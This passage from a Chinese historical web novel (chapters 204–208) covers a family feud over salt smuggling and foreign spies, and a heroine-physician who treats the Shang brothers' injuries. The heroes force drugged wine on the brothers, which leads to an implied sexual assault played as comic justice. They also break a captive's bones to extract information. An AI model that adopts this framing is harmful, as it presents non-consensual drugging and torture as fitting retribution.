霍青行瞧了一眼梨花酒,又看了一眼商家的两兄弟,这是当他蠢呢?还是当他蠢? “我不喝酒。” 话音落,三人傻眼了。 气氛有片刻的凝滞,若不是江风还在嗖嗖的吹着,只怕所有人都以为这是按下了暂停键。 半晌过后,商武率先笑出声来,“吃菜,吃菜!这临江楼的桂鱼是最好的,往日里都约不上呢,霍公子难得来一趟,定要好好尝一尝。” “是是是,吃菜,吃鱼!”商野瞧了瞧手里的梨花酒,默默的坐在了边上。 这是不成咯? 霍青行没搭理他们,要不是为了拖延时间,吸引注意力,他何至于跟三个蠢货较劲,好想念他的小月儿,至少一个眼神,小月儿就懂了他的意思。 人与人之间相处,讲求的便是一个默契,随意,欢喜…… 霍青行端起杯盏,浅呷一口。 江风习习,景色的确不错,但若是少这三个显眼包的话,那就更不错了。 这个点,他的人应该已经赶上去了吧? 金都来的刑部郎官,还有调查私盐的转运使的人,应该都快齐了吧? 但愿,不会出什么岔子。 事实上,如霍青行所料,这些人还真是险些吃了亏,眼见着就快到永安县了,却在官道上被截。 前方一群黑衣人拦路,一行便衣的郎官和小吏都有些傻眼,随行的侍卫当即警觉起来,勒紧了马缰,守在马车边上。 双方旋即交手,对方几乎没给他们出声的机会,见人就杀,仿佛就是要斩尽杀绝一般,毫不留情。 这样的人,瞧着不像是为了劫财。 既然不是为了劫财,那么就是单纯的来杀人。 为什么要杀他们? 可想而知。 触动了某些人的利益,被人察觉到了行踪,为了杀人灭口,为了毁尸灭迹,所以干脆一不做二不休的,连金都来的刑部郎官也不放过。 截杀朝廷命官,这得有多大的胆子,才能做出如此大逆不道之行! 眼见着,对方招招毙命,处处狠辣。 郎官带着手底下的小吏,慌忙逃进了林中,想着先保命要紧,否则任务没完成,连命都要丢在这里,万一牵连到家眷,那还了得? 只不过,他们这厢刚走没多久,哒哒的马蹄声再度响起。 伴随而来的是一批行伍之人,一个个戴着面具,骁勇善战,手起刀落,对这些截杀的杀手,无半点留情之意。 鲜血飞溅,侍卫都看傻眼了,他们现在都是便衣,只有知道内情的人会来截杀,那么……谁会来救他们呢? “诸位是去永安县的吗?”为首的骑着高头大马,一刀将杀手斩杀于马前,居高厉喝。 刑部的郎官哆哆嗦嗦的拱手,满身泥泞与狼狈,但不改一身正气,“恩公,我等正是要去永安县,敢问恩公姓名,来日必当报答。” “报答就不必了,你们只管往前走,我等将在周遭护送,只盼诸位能得偿所愿,一路顺畅。”为首的男人,隔着面具瞧了一眼众人,“诸位,早些启程吧!” 如此,还有什么可担心的。 上马的上马,上马车的上马车。 瞧着队伍扬长而去,众人翻身下马,冷眼看向地上的尸体。 来的都是死士,不会说话的那种,所以没必要留活口,问了也不会说什么,如今就得赶紧处理了这些尸体,以免被人察觉。 “埋了!” “是!” 清理了后续,那就接着护送,一直护送他们进永安县为止,商家的好日子也算是到头了,该收拾的收拾,该死的死。 天空,有鹰隼翱翔。 黑压压的天色,瞧着似乎是要下雨了。 一声雷响,电闪雷鸣。 霍青行眯了眯眸子,再看一眼桌子上全部趴下的兄妹三人。 安信悄摸着从门外进来,“呀,这是怎么了?” “自作自受罢了!”霍青行瞧了一眼酒壶,“还梨花酒呢?” 一帮废物。 “是好酒。”安信开口,“可惜了。” 可惜了,酒中有药,喝不得。 “把这些酒给他们三都灌下去,该受的罪……物归原主。”霍青行从来不是心慈手软之人,敢算计他的,都不会有好下场。 陈识月除外! “是!”安信也没有任何的犹豫。 如果不是陈识月给的药,估计他早晚得中计,所以这份罪就得他们自己承受。 走出雅间,站在廊下看着前方的碧波万里,霍青行面色平静,“现在状况如何?” “若是对着时辰,应该是成了。”安信捏起商野的嘴,直接将酒灌了进去,其后又捏起了商武的嘴,毫不犹豫的灌进去。 只是…… “姑娘家就算了。”霍青行回了个头。 安信点点头,放下了酒壶,将商玥扛到了隔壁房间。 房间里空着,安信随便把人一丢,就将两间房的房门都关上了,至于会发生什么事情,那就看他们自己的命吧! 不多时,屋子里传来了异样的动静。 哼哼唧唧,唧唧哼哼。 安信的眉心都皱成了“川”字,“咦,真是荤素不忌,男女通吃。” 林序要是在这里,铁定乐死了,这么好看的热闹,那个不怕长针眼的臭小子,肯定是要瞪着他铜铃般的大眼睛,看个一清二楚的。 可惜了可惜了! 江面有船慢慢悠悠的过来,不多时便停在了临江楼下,其后便是老二探出头来,冲着上面的两人吹了个口哨。 商家的人,都在临江楼门外等着,这会根本不清楚楼上的状况。 霍青行和安信纵身一跃,旋即飞身落到了船只上。 老二和老三当即摇着船离开,悄无声息,没有惊动商家的人。 “鹰隼的主人找到了,在城外的一个破庙里,好像是他们的临时据点。”老二解释,“少将军,咱的人盯着呢,绝对跑不了。” 城外的破庙? “还有便是,我瞧着那几个蒙着脸的,有点像蛮子,虽然是咱大煜的口音,但总觉得怪怪的。”老三开口,“尤其是那大眼睛,高鼻梁的……感觉不对劲。” 听得这话,安信就来精神了,“可惜林序不在,要不然他能激动得一蹦三尺高。蛮子?这不咱冤家对头,送上门的狗东西!” “蛮子?细作!”霍青行沉了脸,“都敢跑到这儿来了?他们想干什么?” 内外勾结? 商家不只是贩卖私盐,而且还勾结外敌,简直罪该万死! 到底谁给他们的勇气,敢如此嚣张?! 第二百零四章 他是永安县人士 船只渐行渐远,其后在一个芦苇荡边上靠岸。 老二老三快速藏好了船,然后再前面带路,“之前咱们在船上等着,可算是等到了接应的人,不是商家的人,是个江湖人,被咱一顿收拾,藏在了前面那个枯井里面。” 说着,二人领着霍青行和安信,七拐八拐的,进了山林之中。 林中有个小屋,破败不堪,看的出来,很多年前就已经没人居住了,这里面凌乱不堪,周遭也没有屋舍,自然没人会注意这里。 枯井被大石头盖住,打开来之后就能看见躺在底下的那个人,手脚都被绑缚着,嘴巴也被塞着,吐不出半个字来。 光线落下之后,那人开始挣扎。 不多时,便被老二老三抓了上来,丢在了霍青行的脚下。 安信徐徐蹲下,仔细打量着这人,“江湖人?” “有点手脚功夫,就是下盘功夫。”老二解释,“跑得那叫一个飞快,要不是我跟老三一起前后堵截,差点让这煮熟的鸭子飞了!” 轻功极好,是报信传信的好苗子。 可惜啊! 为虎作伥。 “你家主子是谁?这鹰隼到底是哪儿来的,要交到谁的手里?还有,用鹰隼递送什么消息?”安信冷不丁捏起男人的下颚,“说清楚,否则是要吃苦头的,咱可不是心慈手软的主,你可要想明白了!” 男人嘴上的布团被取出,却是倔强着不肯说话。 “怕给弄死了,所以咱没敢先行审讯。”老二解释。 都是行伍出身,下手就重,难免失了力道,万一弄死了……没法跟少将军交代。 “留着他这条狗命,让公子您来处置。”老三忙道。 安信想着,先卸了胳膊,还是先卸了腿呢? 要不然,先割了耳朵再说? 总得见见血吧? “呵!”男人好像是抱着必死的决心,愣是不肯开口。 安信皱眉,“哟哟哟,还嚣张上了?就你这二两重的骨头,也敢在小爷跟前哼哼?” 说时迟按时快,只听得腿骨“咔嚓”一声响,伴随而来的便是惨烈的哀嚎。 瞬时惊起野鸟齐飞,呼啦啦的飞向天际。 “你们、你们到底是什么人?”男人痛得撕心裂肺,“你们……啊啊啊……” 又是一声响,手骨被生生掰折。剧烈的疼痛,让男人瞬时额头冷汗直冒,紧接着便是两眼一翻晕死过去。 可晕死就完了吗? 哪儿能! 再醒来的时候,是被痛醒的。 “说清楚,能留个全尸,死也死得痛快,可你若是非要执迷不悟,那那就不好说了!”安信嗤笑两声,“咱有的是手段,你现在不说,不代表待会也不说,咱不会伤你性命,避开致命处,却可以叫你疼到生不如死。” 手指被一根根敲碎,亦会叫人痛不欲生,求生不能,求死不得。 “我说,我说!”横竖都是死,男人不想再犹豫了。 现在求个痛快,来日被上头知道了,也是个死。 “长、长乐门!” 霍青行终于转头看过来,“长乐门?负责此处的统帅之责的,是何人?” “我、我与他们不一样,我只是负责内外送信而已。”男人疼得浑身都是汗,面色惨白如纸,身子抖如筛糠,“其他的,我真的不知道,我真的……真的不清楚!” 安信可不相信他的屁话,“这么要紧的鹰隼都交给你,让你联络那些破庙里的人,你以为咱是傻子,任由你胡乱蒙骗?再不说实话,我就把你的十根手指,一根根的掰断。你可知道杀人不见血,才是真正的可怕之处!” “别……我……” 男人都快哭了,直勾勾的盯着霍青行。 “知道上柳居士吗?”霍青行问。 声音戛然而止。 但,只是片刻。 男人哆嗦着问,“什么、什么上柳居士?我、我不知道……” “是真的不知道?还是不肯交代?”霍青行居高临下的睨着他。 冲他这反应,就算不知道上柳居士是谁,却也是有所耳闻的。 “还敢不老实?”安信当即动手。 撕心裂肺的惨叫再度响起,最后已然破音。可这荒郊野岭的,叫天天不应,叫地地不灵,所以就算他叫破了喉咙,也不会有人来的。 “我不知道,我真的……真的不知道……”男人哭了,疼哭的,合着满头的冷汗涔涔而下,“我、我只听过长乐门里,有、有这号人,但我不认识,我真的不认识他,不清楚他的事情。” 霍青行掩在袖中的手,登时蜷握成拳。 长乐门! 果然是长乐门。 呵,可见当年的国公府一案,跟长乐门也脱不了干系。 所以这长乐门的背后,到底是什么人? 一边操纵着江湖人,笼络江湖人为他们卖命,一边又跟朝廷勾结,跟金都跟边关都有所牵连,可见此人手眼通天,绝非泛泛之辈。 “公子?”安信一声喊。 霍青行回过神来,“上柳居士在哪?” “我不知道,我真的不知道,此前还是从上头听到那么一嘴,听别人说的,说他、他当年就是从这里出去的,是永安县出去的,后来就去了金都……”男人快撑不住了,疼痛让他脑子都泛起了浑。 霍青行愕然,“你是说,上柳居士是永安县人士?” “是!” 这倒是个出其不意的发现。 永安县人士? 那么永安县的户籍卷宗里,能不能找到这个人? 镇国公府一案已经这么多年,从当年或者是往前推的话,查找从永安县出去的……前往金都的有识之士,能不能有一丝线索呢? 虽然到时候会有很多人,也许耗费时间很多,但这也不失为一条线索。 不识字的,不会叫上柳居士。 没脑子的,也不会叫上柳居士。 做生意的,更不需要卖弄文采。 难不成是那些年的科考? 秀才? 举子? 各种都有可能。 霍青行回过神来,“他是男的吧?” “是!” 霍青行又问,“多大年纪?” “不知。” 霍青行追问,“人还在金都吗?” 男人好似有点神志不清了,“应该应该还在的,他现在已经是个了不得的人物了……” 音落,男人头一歪,又晕死过去。 第二百零五章 两个儿子都废了 晕了? 安信试图再把人弄醒,只不过这一次醒转之后,男人好像有点……神志不清了。 一会说见过上柳居士,一会又说不认识,一会说是在金都,一会又说就在永安县, 颠三倒四得好像快要不行了。 大概是伤势太重,所以到了最后的确是起了高热,估摸着再也问不出什么来。 “少将军,估计没戏了。”安信道,“把人丢回枯井吧!” 霍青行点头,“我们走!” “是!” 老二老三手脚麻利的把人重新捆绑,丢回了枯井里,对于这些敌国细作,为虎作伥的歹人,是没必要留有同情心的。 “破庙在前面,那条山道的边上。”老二在前面带路,“从这边过去要穿过林子,不容易被人察觉,咱们迂回到破庙的后门进去。” 老三说,鹰隼已经被放飞了,当时怕打草惊蛇,所以他们没敢拦阻,虽知情况可能有恙,但委实没办法,毕竟人和鸟还是有区别的。 他们两个……飞不起来。 “会有人料理这只鹰隼的。”霍青行面色微沉。 在他们的地界,这帮细作还敢里应外合,搞出这么多事情来,难保金都那边情况更糟,这么多势力悄然蛰伏,若是哪天倾巢而出,江山社稷当如何?百姓又当如何? 穿过茂密的林子,远远可见一屋檐,悄无声息的掩在林中,若不是细看还真是瞧不出来。 绕过林子,从后院翻墙而入。 “这些人白日里都不在,夜里才会聚拢在此。”老三解释,“咱们白日里跟着来的时候,一个人都没有,但是昨天晚上他们走的时候,都留了记号。” 老二指了指墙头的一些泥巴,“那里是昨夜特意留下的,就是防备有人进入,盯梢,还有前殿那边有个草木灰覆地,若是有人踩踏,便可知晓此处不可留。” “哎呀!”安信诧异,“没想到来了咱大煜之后,这帮人还变聪明了,学会了用这样的办法?啧啧啧,果真是狡猾的蛮子!” 霍青行环顾四周,“找个妥善的位置,藏起来。” “到时候那边见着咱人丢了,会不会满城的找人?”安信问。 霍青行完全不担心,“商家不敢大张旗鼓,知道我是霍氏一族,他们还敢造次,是嫌命太长吗?一旦我在永安县的消息传出去,但凡我有点损伤,都得算他们的头上。商家是生意人,最会权衡利弊。” 找个最佳的位置,先藏起来,等待黑夜的到来。 如霍青行所料,商家那边这会已经乱套了。 为什么呢? 因为临江楼的那一幕太过惨烈,以至于当时冲进去的人,全部都傻眼了,商玥倒是没什么大碍,就是被迷药给迷晕了而已。 但是商野和商武就麻烦了,两兄弟吃了药之后就跟疯了一样,像极了野蛮人,临江楼底下的商家奴才,察觉到不对劲冲上来的时候,屋子里弥漫着淡淡的血腥味。 这血腥味来源于何处,自然不必多说。 全城最好的大夫,都进了商家,但是撕裂伤这事吧……实在是不好治,所以两位公子被抬回商家之后,也让诸位大夫都为难了。 “太严重了,缝起来的话能好得快,但是这个位置吧……”大夫吞吞吐吐,“如厕或者是……都会撕裂,这段时间得清淡饮食,并且少吃点!” 商家两兄弟都晕厥了,毕竟这么重的伤,没死都算是福大命大! 高秀娥已经泣不成声,若不是碍于霍青行的身份,只怕是要带着人提着刀过去了,“这杀千刀的,竟是如此伤害我儿,老爷……老爷……你真的一点都不管吗?” “怎么管?”商城问,“我也想管,拿什么管?一介商贾,纵然咱背后有人,你敢保证对方就能与霍氏一族相较?霍氏什么是人?那可是开国功臣,当年那么大的事儿都没能牵扯到他们,反而留他们在边关驻守多年,还不明白什么意思吗?” 帝王忌惮,且帝王信重。 这样的霍氏一族,岂是他们商家可以撼动的? “可我两个儿子,难道就这样白白被他祸害了吗?”高秀娥不依不饶。 商城叹气,“你还有脸说,这两个不成器的东西,办点事都不成,竟是弄成了这样,成事不足败事有余!现如今,连人都不知道跑哪儿去了!” “肯定还在永安县。”高秀娥一抹眼泪,“绝对没跑出去。” 商城也知道,这人可能还在永安县,但只要霍青行不露面,他们根本没办法大张旗鼓的去找,那是霍家的公子,若是自己派人去找寻,消息一旦传出,但凡霍青行有所损伤,这笔账都得记在商家头上。 “那你想怎样?”商城问。 高秀娥可不像夫君这般瞻前顾后,“我不会这样轻易的放过他的!” “你别胡来!”商城心惊,“我可警告你,若是坏我好事,别怪我不客气!” 高秀娥捻着帕子擦眼泪,这会梗着脖子不说话。 她两个儿子都被霍青行祸害了,让她就此罢休,怎么可能?不管对方是谁,她都是个母亲,都要护着儿女,都要为儿女报仇。 瞧着躺在那里,高热不退,昏迷不醒的两个儿子,高秀娥如何不恨? 即便是自己算计不成,反倒被霍青行算计,她也不觉得自己有错,儿子也没错,错的是霍青行,明明没成功,为什么他还要反将一军?害了她的儿子?! 听得这消息的时候,陈识月正与徐家兄妹,坐在街边吃面,华灯初上,夜色暗沉。 凉风习习,吹得人心内一片平和。 “姐夫这么厉害?”徐玉莹低语,眨着大眼睛,满脸崇拜。 徐玉安却没有说话,只觉得心内不安。 商家不是好惹的,一个个都是睚眦必报的小人。 有句话说得好,宁可得罪君子,莫要得罪小人…… “偷鸡不成蚀把米!”陈识月吃着碗里的面,幽幽吐出一口气,“不过,商家应该不会罢休。” 满城的大夫都被请去,若是不好收拾,说不定会找上徐家。 “公子!”家奴急急忙忙的跑来,“商家的人,跑去请咱东家了!说是那边情况不太好,所以请东家无论如何都要去一趟。” 徐玉莹捏着筷子,“好生不要脸,自己干过那些龌龊事,竟还有脸去找父亲!” 陈识月敛眸,“看样子,伤及要害了。” “回家看看?”徐玉安问。 陈识月放下筷子,“走!” “掌柜的,银子搁这了!” 三人急急忙忙的回了徐家,正巧赶上…… 第二百零六章 至亲永远站在你身边 商家的管家亲自来请,毕恭毕敬的,可见那边是的确没办法了,但徐庚可不是这么好请的,尤其是知晓自己这些日子的药材,都是因为商家的缘故而导致出了问题。 “抱歉。”徐庚沉着脸,“最近身子不太舒服,实在是无法出诊,阁下另请高明吧!” 商管家自然是不答应的,那些大夫虽然都开了药,但是徐家的秘药才是最好的,可惜这秘药概不出售,有什么事儿也只能来求药。 在此之前,商家和徐家略有些恩怨在身,何况商家到底做了什么,他们自己心知肚明,想着只要没捅破那一层窗户纸,应该就不是太大的问题,权当什么都不知道便罢! 可谁知,徐庚是个硬骨头,有些事发生了就是发生了,他不可能当不知情。 再者此前在码头那边,知晓了商家可能涉及掉脑袋的勾当,徐庚更不敢出手相救了,恨不能撇得干干净净,一棍子打出门去,生怕沾染分毫,连累全家。 “徐东家,你们是医者,医者不是说,救人一命,胜造七级浮屠吗?”商管家沉着脸,“为何求到了门前,你们却要枉顾性命,将求医者置之门外呢?” 徐庚不为所动,脸上写满了抗拒。 奈何,徐庚不能解释真实缘由,本就不善言辞,这会更没话说,只剩下了冷硬的容色,“送客!” 管家上前准备送客,可商家的人就跟狗皮膏药似的,哪儿是这么容易就能送出去的。 “徐东家,你们开医馆的怎么连这点人性都没有?如今病患都求上门来了,竟还置之不理,若是传出去,只怕有损徐家的声誉。”商管家沉着脸,已然开始了言辞威胁。 徐庚可不吃这一套,声誉和掉脑袋比起来,想必也没那么重要了。 双方正在僵持,徐玉安快速上前,“爹!” “爹!”徐玉莹也跟着上前。 兄妹二人见着商管家的时候,嘴角的笑旋即消失得无影无踪。 陈识月这一次算是,近距离的跟商府的管家打了照面,此前见识过商家的狠辣,没想到这一次还能听到商家威胁舅父的话语。 “爹?”徐玉安瞧着眼前的商管家,“找事的?” 徐庚冷着脸,“别胡说,只是请诊的。不过为父没空,身子不适,不去!” 当然不能去。 眼下这状况,谁沾上商家,谁就会倒霉。 徐玉莹看了一眼兄长,表姐夫都已经开始调查商家了,可不敢送上门去,只管看好表姐便是了。 “请回吧!”徐庚再度下了逐客令。 可商管家却是冷笑一声,“徐东家,你这就没意思了,咱好歹也是一个地,算是做了那么多年的同乡,眼下我家两位公子身子有恙,急需救命,你们却坐视不理,见死不救……呵,是想跟我们撕破脸,还是想坏了徐家以后的营生?” “你这是在威胁?”徐玉安气愤不已。 徐玉莹也听出来了,“你们这话是什么意思?想干什么?” “街上都在传,商家两位公子玩得有点过分了。”陈识月开口,“想来也就是裤裆里那点事吧?” 商管家勃然大怒,陡然转头看向生面孔。 若是男人说这话也就罢了,偏偏陈识月一个女子,竟说出这样的话来,委实让人不敢相信,连半点女儿家的矜持和名誉都不顾。 “撕裂罢了,可能有点严重,又或者是脱出来了。”陈识月云淡风轻的开口。 商管家傻眼了。 徐家兄妹也傻眼了。 徐庚先是一愣,其后了然,虽然有点诧异,但更多的是欣慰。 “你、你是何人?为何知道这么多?”商管家深吸一口气,“徐东家,这位是……” 陈识月站在那里,上下打量着他,“暂住在此。” “你如何懂得这么多?”商管家寻思着,住在徐家的客人,听她说话也懂得医理,大概是徒弟或者是别的什么亲眷吧? 至少,应该是同行。 “这跟你没关系!”徐庚拦阻,“请回吧!” 商管家可不管这些,“徐东家果真要做得如此绝情?一点余地都不留吗?” “请!”徐庚转身就走。 徐玉安紧随其后。 徐玉莹赶紧挽起陈识月的手,“姐姐,我们走。” 姐姐? “这位姑娘……”商管家刚要开口,却被徐玉莹打断。 徐玉莹可不会跟他客气,“让你走,你怎么还不走?这是徐家,不是商家,你是商府的管家,就不要在我们徐家发号施令,耀武扬威了。” 商管家还是不肯走,今日大有誓不罢休之势。 “要不然,我去?”陈识月开口。 徐玉莹傻眼了。 “姐姐?”徐玉莹拽着陈识月的手不放。 陈识月轻轻拍着她的手背,以示安抚,“放心,商家也不是吃人的牢笼,我就不信进去了,就出不来了。是吧?商管家?” “是!”商管家赶紧点头,“你怎么进去的,我就这么给你送出来,只要你有办法拿徐家的药,治好我家公子的伤。” 陈识月深吸一口气,“稍待,我去跟东家说一声。” “好!” 商管家等着, 陈识月去找了徐庚。 徐庚站在回廊里,面色凝着,“你要去商家?你可知道那是什么地方?虎狼窝。” “我有胆子进去,就有胆子出来。”陈识月开口,“舅父只管放心便是。” 徐庚不同意,“不行,万一他们对你下手,万一把你留下,又或者是……” “舅父。”陈识月行礼,“你杀过人吗?” 徐庚:“嗯?” “我这小包里,全是毒。”陈识月面色平静的开口,“谁敢对我下手,我就让谁下地狱。” 徐庚有点懵,看得出来自己这个外甥女,还是有点能耐的,“医毒双修?” “我的医术都是我娘教的,但是我的毒术,是我自己钻研的。”陈识月说,“娘说过,女儿家更要保护好自己,所以我随身带着的东西,都是可以自保的。” 徐庚忽然不知道该说什么才好,毕竟一个姑娘家要随身带着毒物来保全自身,说明她的处境格外艰难。 “此前一个人,很苦吧?”徐庚心疼的开口。 陈识月眉心一跳,突如其来的关心,让她一下子语塞。 “去做你想做的事情,舅父……随时准备去捞你。”徐庚拍着她的肩膀,笑得有点酸涩。 第二百零七章 给他缝起来 徐庚不清楚陈识月的性子,但是她能在那样的处境中,安然自若的研习医术,活到现在,就足以说明她是个有勇有谋的好姑娘。 不清楚外甥女的性子,但清楚自家妹妹的性子,那个倔强无比,九头牛都拉不回来的犟种亲妹,他比谁都清楚。 “药在你舅母那边,你去找她便是。”徐庚道,“我是断然不愿救这帮蛇蝎,但舅父不会干涉你的事,你只管照自己的节奏去走便是,不必顾忌我们。” 陈识月心里扑通扑通的,眼睛都有些酸涩,“舅父?” “舅父与你说得如此直白,不是要你感激,也不是非要渲染什么骨肉亲情,舅父只是想做你的退路,仅此而已。”徐庚转身离开。 陈识月站在原地良久,目送着舅父离去的背影…… 有时候她真的不明白,为什么母亲不愿意回来呢?是因为奔则为妾,所以没脸回来?即便当年是争吵过后离开的,时隔这么多年,再大的气也该消了吧? 当然,也可能是父亲的缘故。 父亲若是不愿意陪着母亲回来,母亲一个人怕是没办法带着年幼的女儿出门,一则担心主母到时候派人跟着,给外祖父家丢人,二则大概是所谓的爱情? 恋爱脑要不得,这是降智的绝症,对大脑损伤不可逆。 陈识月转身去找了王氏,听得陈识月要去商家,王氏面露忧虑之色,但瞧着徐玉安和徐玉莹,便知晓这件事应是自家夫君点过头的。 “跟我来!”王氏进了门。 徐家兄妹在外面等着。 半晌过后,陈识月走出了门,穿着一袭靛蓝色的长衫,发髻束起,一副男儿装扮。 徐玉莹愣住,徐玉安了悟。 “玉安,你陪着去,叫上生伯,带上两个瞧着壮硕的护院。”王氏吩咐,“怎么去的,就怎么回来,若是月儿少一根毫发,我就拿你是问。” 徐玉安连连点头,“知道了,母亲。” “母亲,那我……”还不等徐玉莹开口,王氏已经一个眼刀子过去。 徐玉莹讪讪的闭嘴。 “你别去添乱,就你这脑子,到时候还得拖后腿。”王氏太清楚自己女儿是什么德行,“要脑子没脑子,要心眼没心眼。” 徐玉莹:“……” 果然是亲娘! 陈识月低头笑了笑,倒是没有再多说什么,如今这样安排自然是最好的。 出去的时候,商管家已经焦灼得来回打转,见着人回来,赶紧迎上去,“如何?” “走吧!”陈识月道。 商管家大喜过望,“这边请,这边请。” 只不过,瞧着陈识月身边这帮人,商管家不由得眉心微蹙,“这是……” “你要请的是我徐家的客人,那就得按照我徐家的规矩来。”徐玉安开口,“成就成,不成咱就拉倒。” 商管家还能如何? “成!”商管家颔首,“走吧!” 徐玉安与陈识月对视一眼,然后快速往前走去。 生伯是被临时叫回来的,有他和徐玉安在,便算是代替了徐家,大街小巷的,谁不认识生伯和徐玉安呢? 进了商家的门,瞧着这浩浩荡荡的一幕,商城眉心紧蹙。 “怎么回事?”商城低声问。 商管家赶紧上前,“徐庚不愿意出诊,我请不到徐家的人,所幸遇见了这个女大夫,瞧着是有些本事的,什么都没看,就已经猜到了七七八八。” “女大夫?”瞧着一身打扮的陈识月,商城满脸的不信任,“这行不行?” 商管家心里也没底,但瞧着徐家对陈识月的重视态度,想必是有些本事在身上的。 “怎么这么多人跟着?”商城问。 商管家忙压低了声音回答,“徐家那边的规矩,大概是怕咱把人留下来了,可见这丫头不是个简单的,要不然徐家不至于如此重视。” “徐玉安也在。”商城犹豫了一下,“倒是有点意思。” 商管家看向自家东家,“试试吗?” “可她是女的,伤的部位……”商城想了想,略显迟疑的看向陈识月,“你可知道,受伤的是男子?可知道伤的是哪个部位?” 陈识月平静的看向他,“医者眼中无男女。” 商城:“……” 听着是有点本事。 “请!”事已至此,商城也没有别的办法。 高热不退,其他大夫开的药,虽然能暂时止血,但是这药效到底不如徐家的秘药,且多数大夫对于这事……委实鲜少接触,所以处理起来也没什么经验。 永安选虽不小,但这种事委实太少。 陈识月踏入了后院,相比起商野,商武虽然严重,但还是好上一些,人趴在床榻上,业已陷入昏迷,整个烧得跟熟透的虾子一样,偶尔还能传出哼哼唧唧的痛苦之音,别的便什么都没了。 “月儿表妹?”徐玉安压低声音,“要不然还是算了吧,毕竟男女有别!” 在这点上,陈识月倒是没太大的感觉,母亲虽然教她要保护好自己,也要注意男女之防,但毕竟母亲去得早,有些东西还没刻进骨子里,就已经被生死之念取代。 在陈识月的心里,什么东西都没有性命来得重要。 活着,才是唯一信念。 “不妨事!”陈识月坦然踏入。 瞧着她坐在床边,神情泰然的掀开了被褥,查看商武的伤势,别说是徐玉安,纵然是见多识广的生伯,也跟着愣了愣。 商城和商管家对视一眼,其后不敢置信的盯着陈识月。 不得不说,一个女子面对男儿之躯,脸不红气不喘,能如此大大方方的验看,的确是……少之又少,既没有女儿家的娇羞,也没有半分嘲弄之意,从容得像是在看泥塑木雕。 “她到底是什么人?”商城问。 商管家摇摇头。 一抬头,陈识月已经取出了针包,也将王氏给的瓷瓶搁在了床头凳上,神情泰然的从药箱里拿出了特质的手套。 戴手套之前,陈识月又拿出了一根线,纤细如蛛丝,若不细看,根本就瞧不出来。 “这是什么?你要作甚?”见着陈识月穿针引线,商城诧异。 生伯白了他一眼,“没瞧见是要缝合吗?” “可是……”商城刚要开口,却见着陈识月已经戴上了特质的手套,直接将一块沾了水的布捂上了商武的口鼻。 原本还哼哼唧唧的商武,登时脑袋一歪就彻底没了动静。 “你……” 商城急了。 “再吵,我就让他这辈子上不了茅房。”陈识月狠狠剜了他一眼。 聒噪,烦人! 商城张了张嘴,在陈识月一针下去的瞬间,慌忙别开头,不忍去看…… 第二百零八章 她不止针线活好,刀工也好 场面自然是血淋淋的,别说是商城这个当爹的,饶是徐玉安都止不住面色发白,一旁的生伯也跟着变了脸色。 位置有些特殊,伤口的缝合必须极为小心,好在商武虽然伤重,但不至于太棘手。 待上药完毕,陈识月便小心谨慎的用沾了药水的帕子,轻轻擦去了血迹。 “血还在流,稍瞬即可。”陈识月淡然处之,褪下了特质手套之后,便去水盆里洗了手。 见此情形,商城和商管家面面相觑,有那么一瞬的不敢相信,一介女流之辈,面对这些血肉模糊的场景,竟能做到处变不惊,甚至于缝针的时候没有半分犹豫,连眼皮子都没有眨一下,着实了不得。 “敢问姑娘芳名?”商城这回算是谨慎了不少,“师承何处?” 徐玉安赶紧给陈识月递了帕子,陈识月慢条斯理的擦着手,不急不缓的走到了桌案边,写了一张药方,“我是谁不重要,大夫只要能治好病就成了,至于师承何处那就更没必要问了,医德医术这东西本身跟师父没太大的关系,修行在个人嘛!” 一番话,堵得商家众人哑口无言。 “这是方子,若是此前有其他大夫开过药,便也没什么太大的用处,都是皮外伤,都是一样的治法,关键在于缝合的手法。”陈识月将方子放下,“还有一个呢?” 商城这才回过神来,赶紧往前走,“在隔壁。” 因着伤势严重,且都是差不多的伤势,干脆就挪到了一起,也方便大夫诊治,方便底下人照料。 跨过一道短短的走廊,便是隔壁。 推开门,一股浓郁的血腥味快速涌入鼻腔。 众人止步,皆是一怔。 陈识月倒是没太大的反应,而是面容平静的走进去。 一旁的徐玉安有些心内忐忑,不由自主的看了生伯一眼。 生伯面色凝重,闻着这血腥味,就知道这伤势不简单,如果……如果治不好的话,只怕是要出大乱子,商家可不是吃亏的主。 陈识月倒是不慌,不管发生何事,都得先看看再说。 只是,商野的伤……是真的野! 只不过一眼,生伯便倒吸一口冷气,全然没料到竟是这样的结果,还以为商武伤成这样,那么商野应该也差不多的,没成想…… 不是差不多,而是差很多,差太多! 这几乎是,掏……肛了吧? 陈识月也是吓一跳,好在面上不显,依旧平静至极,“居然伤得这般严重?倒是比之前那位公子,伤得严重多了,这是要……要命了!” 大夫都说,商野的伤的确严重,若是熬不过去,只能听天由命。 商城也就这么两个儿子,自然是手心手背都是肉,“大夫,可行?” “我倒是真不知,竟是到了这样的地步,可能……有点棘手。”陈识月转头看他,“敢问,是想要保守治疗,还是试一试?” 商城惊愕,“何为保守治疗,何为试一试?” “保守治疗,便是与寻常大夫无异,缝针,用药,且看烂尾重生。”陈识月如实回答,“只是伤势可能反复,也可能……公子熬不过这两天,伤得太严重,肠子……都脱落在外,且已有坏死的迹象,塞回去的话也只能是看命数长短。” 一句话,保守治疗,听天由命。 但,死的概率比较大。 “那试一试呢?”商城额头满是冷汗。 陈识月犹豫了一下,“将坏死的肠子切掉,然后再进行缝合,这些事情都得宜快不宜迟,否则拖下去,他连今晚都熬不过去。” “老爷?”商管家犹豫着,“不可冒险啊!” 这可是公子的性命。 “若是试一试,你有几分把握?”商城问。 徐玉安与生伯对视一眼,这里是商家,若是出了什么事,商家怕是不会罢休。 “月儿?”徐玉安迟疑了一下,“保守治疗吧!” 陈识月知道他们在担心什么,所以也没多说,只将目光落在商城身上。 商城的脸色青白交加,显然不知道该说什么,心内天人交战。 “试一试吧!”高秀娥捻着帕子拭泪,“试一试!” 商野有多痛苦,高秀娥都看在眼里,从疼痛中醒转,又在醒转后痛晕过去,什么药都不管用,身上的冷汗出了一层又一层,被褥都被冷汗浸湿。 这种状态下,要活下来…… 高秀娥看在眼里,只觉得这儿子怕是撑不到明日了。 既然如此,干脆一不做二不休,试试吧! 之前那些大夫都算是保守治疗,是以陈识月若也保守治疗,想必也就是现下的结果。 结果,都一样。 “试一试吧!”商城看向自己的夫人,事已至此似乎已经没有别的办法了。 试一试。 是商野最后的机会。 活着,或者是熬死。 血其实一直在流,商野的身子烧得滚烫,人已经陷入了休克状态,药都喂不进去了,脱在外面的一截肠子发黑发臭,眼下必须尽快处置。 陈识月再度打开了药箱,动作麻利的拿出了锋利的刀刃,置于火上炙烤,其后用烈酒浇过,还有那些针线,都得准备妥当。 